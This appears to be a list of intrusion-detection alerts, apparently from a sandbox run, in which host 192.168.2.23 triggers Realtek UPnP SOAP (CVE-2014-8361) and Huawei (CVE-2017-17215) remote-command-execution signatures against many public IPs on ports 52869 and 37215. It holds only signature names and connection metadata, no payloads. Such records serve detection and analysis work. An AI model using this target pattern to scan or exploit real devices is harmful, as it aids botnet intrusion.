SID:	2025132
Source Port:	45426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.70.135.245

Timestamp:	07/20/24-23:01:57.695259
SID:	2831300
Source Port:	53234
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.206.146.166

Timestamp:	07/20/24-23:01:04.085431
SID:	2829579
Source Port:	36238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.98.54.155

Timestamp:	07/20/24-23:01:46.629198
SID:	2027339
Source Port:	56362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.30.251.105

Timestamp:	07/20/24-23:01:00.645051
SID:	2829579
Source Port:	32868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.158.218.166

Timestamp:	07/20/24-23:01:24.752424
SID:	2027339
Source Port:	52414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.230.144.186

Timestamp:	07/20/24-23:01:44.996260
SID:	2831300
Source Port:	55994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.111.146

Timestamp:	07/20/24-23:01:24.867858
SID:	2829579
Source Port:	54490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.109.251.204

Timestamp:	07/20/24-23:01:46.054776
SID:	2831300
Source Port:	60916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.205.28

Timestamp:	07/20/24-23:01:04.113037
SID:	2835222
Source Port:	44942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.165.192.32

Timestamp:	07/20/24-23:02:02.415002
SID:	2027339
Source Port:	51230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 106.4.213.108

Timestamp:	07/20/24-23:01:11.631728
SID:	2829579
Source Port:	42374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.191.111.147

Timestamp:	07/20/24-23:01:46.032975
SID:	2831300
Source Port:	35288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 105.15.118.157

Timestamp:	07/20/24-23:01:00.654988
SID:	2829579
Source Port:	35058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.234.113.72

Timestamp:	07/20/24-23:01:42.006483
SID:	2027339
Source Port:	41766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.91.178.70

Timestamp:	07/20/24-23:01:58.729502
SID:	2027339
Source Port:	49908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.132.84.64

Timestamp:	07/20/24-23:01:48.918065
SID:	2027339
Source Port:	37970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 89.73.227.199

Timestamp:	07/20/24-23:01:00.634089
SID:	2829579
Source Port:	56956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 141.54.172.151

Timestamp:	07/20/24-23:01:45.194629
SID:	2831300
Source Port:	33264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.126.153.78

Timestamp:	07/20/24-23:01:48.765940
SID:	2027339
Source Port:	42118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 142.143.249.204

Timestamp:	07/20/24-23:01:54.672544
SID:	2831300
Source Port:	37854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.197.120.12

Timestamp:	07/20/24-23:01:43.921490
SID:	2027339
Source Port:	47776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.12.228.50

Timestamp:	07/20/24-23:01:47.523523
SID:	2025132
Source Port:	33250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.32.230.224

Timestamp:	07/20/24-23:01:46.512162
SID:	2027339
Source Port:	45772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.204.52

Timestamp:	07/20/24-23:00:57.221026
SID:	2829579
Source Port:	46136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.125.116.173

Timestamp:	07/20/24-23:01:54.702517
SID:	2027339
Source Port:	42148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.55.184.24

Timestamp:	07/20/24-23:01:56.091033
SID:	2025132
Source Port:	55710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 78.242.93.228

Timestamp:	07/20/24-23:00:57.222164
SID:	2829579
Source Port:	57480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.70.142.225

Timestamp:	07/20/24-23:01:04.233857
SID:	2835222
Source Port:	39376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.53.132.35

Timestamp:	07/20/24-23:01:42.960666
SID:	2025132
Source Port:	56690
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.22.219

Timestamp:	07/20/24-23:00:59.178062
SID:	2829579
Source Port:	44596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.249.201.235

Timestamp:	07/20/24-23:01:31.312895
SID:	2027339
Source Port:	51676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.149.101.121

Timestamp:	07/20/24-23:01:41.604763
SID:	2027339
Source Port:	38956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.139.230.45

Timestamp:	07/20/24-23:01:44.215876
SID:	2025132
Source Port:	52906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.142.171.159

Timestamp:	07/20/24-23:01:43.175740
SID:	2027339
Source Port:	53954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.234.117.101

Timestamp:	07/20/24-23:01:13.152454
SID:	2027339
Source Port:	59356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 149.227.100.108

Timestamp:	07/20/24-23:00:57.222254
SID:	2829579
Source Port:	52740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.135.76

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	40842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 146.66.7.8

Timestamp:	07/20/24-23:01:04.118165
SID:	2829579
Source Port:	54156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.41.229.158

Timestamp:	07/20/24-23:01:44.922746
SID:	2027339
Source Port:	55594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.217.163.253

Timestamp:	07/20/24-23:01:46.844704
SID:	2027339
Source Port:	37406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.84.36.218

Timestamp:	07/20/24-23:01:51.943792
SID:	2025132
Source Port:	41894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.64.232.40

Timestamp:	07/20/24-23:01:46.308516
SID:	2025132
Source Port:	54942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.38.103.224

Timestamp:	07/20/24-23:01:41.266946
SID:	2027339
Source Port:	51804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.74.163.138

Timestamp:	07/20/24-23:01:54.787983
SID:	2831300
Source Port:	41556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.42.51

Timestamp:	07/20/24-23:01:11.632393
SID:	2829579
Source Port:	37508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.112.72.60

Timestamp:	07/20/24-23:01:46.068251
SID:	2831300
Source Port:	49446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.158.187.83

Timestamp:	07/20/24-23:01:08.630327
SID:	2831300
Source Port:	46392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.71.29.54

Timestamp:	07/20/24-23:01:59.704241
SID:	2027339
Source Port:	54748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 151.83.52.203

Timestamp:	07/20/24-23:01:32.046185
SID:	2835222
Source Port:	51004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.139.79.186

Timestamp:	07/20/24-23:01:34.044223
SID:	2829579
Source Port:	36714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.199.13.54

Timestamp:	07/20/24-23:01:47.614619
SID:	2831300
Source Port:	50834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 170.132.161.86

Timestamp:	07/20/24-23:01:49.055673
SID:	2831300
Source Port:	58984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.81.156.141

Timestamp:	07/20/24-23:01:47.552279
SID:	2831300
Source Port:	51732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.59.59.107

Timestamp:	07/20/24-23:01:47.410892
SID:	2831300
Source Port:	54372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.92.48.14

Timestamp:	07/20/24-23:02:06.131728
SID:	2027339
Source Port:	59882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.86.136.162

Timestamp:	07/20/24-23:01:02.702506
SID:	2027339
Source Port:	49530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.4.24.226

Timestamp:	07/20/24-23:01:40.290003
SID:	2829579
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.166.141.245

Timestamp:	07/20/24-23:00:57.221132
SID:	2835222
Source Port:	49188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 163.95.87.60

Timestamp:	07/20/24-23:01:00.636533
SID:	2829579
Source Port:	58024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.86.226.219

Timestamp:	07/20/24-23:01:43.282556
SID:	2025132
Source Port:	35706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.10.179.128

Timestamp:	07/20/24-23:01:03.407760
SID:	2025132
Source Port:	53640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.85.24.175

Timestamp:	07/20/24-23:01:44.104536
SID:	2027339
Source Port:	34962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.133.156.16

Timestamp:	07/20/24-23:01:43.515688
SID:	2027339
Source Port:	38398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.209.219.113

Timestamp:	07/20/24-23:01:43.164529
SID:	2027339
Source Port:	56394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.233.238.80

Timestamp:	07/20/24-23:01:49.278428
SID:	2025132
Source Port:	37428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.153.207.206

Timestamp:	07/20/24-23:00:59.213564
SID:	2835222
Source Port:	36392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.104.144.169

Timestamp:	07/20/24-23:02:10.069241
SID:	2025132
Source Port:	58652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.37.33

Timestamp:	07/20/24-23:01:11.631134
SID:	2835222
Source Port:	33198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.86.220.196

Timestamp:	07/20/24-23:01:47.912435
SID:	2027339
Source Port:	59826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.116.148.181

Timestamp:	07/20/24-23:01:02.745352
SID:	2025132
Source Port:	50118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.159.177.21

Timestamp:	07/20/24-23:01:41.580548
SID:	2027339
Source Port:	52210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.231.223.193

Timestamp:	07/20/24-23:01:42.971099
SID:	2027339
Source Port:	38696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.112.20.112

Timestamp:	07/20/24-23:01:47.610546
SID:	2025132
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.226.209

Timestamp:	07/20/24-23:01:00.641498
SID:	2835222
Source Port:	57930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.110.172.241

Timestamp:	07/20/24-23:01:41.974742
SID:	2027339
Source Port:	47836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.163.17.129

Timestamp:	07/20/24-23:01:31.329969
SID:	2027339
Source Port:	52150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.32.247

Timestamp:	07/20/24-23:01:00.634497
SID:	2829579
Source Port:	55680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.23.131.130

Timestamp:	07/20/24-23:01:41.304640
SID:	2025132
Source Port:	60192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.97.165.219

Timestamp:	07/20/24-23:01:45.511523
SID:	2027339
Source Port:	41908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.188.52.205

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	39294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.166.244.138

Timestamp:	07/20/24-23:01:57.489843
SID:	2027339
Source Port:	58924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.106.3.51

Timestamp:	07/20/24-23:01:58.291705
SID:	2027339
Source Port:	43302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.187.87.186

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	46730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 124.255.77.181

Timestamp:	07/20/24-23:01:59.353096
SID:	2831300
Source Port:	37304
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.26.102.58

Timestamp:	07/20/24-23:02:08.008782
SID:	2027339
Source Port:	36758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.255.225.88

Timestamp:	07/20/24-23:03:46.099099
SID:	2025132
Source Port:	53088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.247.155.57

Timestamp:	07/20/24-23:01:42.966087
SID:	2027339
Source Port:	49634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.181.134

Timestamp:	07/20/24-23:00:57.220866
SID:	2829579
Source Port:	45112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.143.101.231

Timestamp:	07/20/24-23:01:41.156801
SID:	2025132
Source Port:	60570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.166.157.114

Timestamp:	07/20/24-23:01:53.309955
SID:	2831300
Source Port:	41650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.224.12.67

Timestamp:	07/20/24-23:01:02.055683
SID:	2829579
Source Port:	58700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.224.156.29

Timestamp:	07/20/24-23:01:42.602712
SID:	2831300
Source Port:	43894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.157.20.139

Timestamp:	07/20/24-23:01:24.612014
SID:	2027339
Source Port:	46950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 112.90.251.196

Timestamp:	07/20/24-23:01:24.867858
SID:	2835222
Source Port:	52758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 131.254.60.151

Timestamp:	07/20/24-23:01:47.954400
SID:	2831300
Source Port:	53534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 202.109.173.165

Timestamp:	07/20/24-23:01:46.176757
SID:	2831300
Source Port:	53902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 152.142.62.185

Timestamp:	07/20/24-23:01:06.975117
SID:	2835222
Source Port:	54958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.71.96.96

Timestamp:	07/20/24-23:01:41.286382
SID:	2025132
Source Port:	45518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.211.191.173

Timestamp:	07/20/24-23:01:44.005947
SID:	2027339
Source Port:	56014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

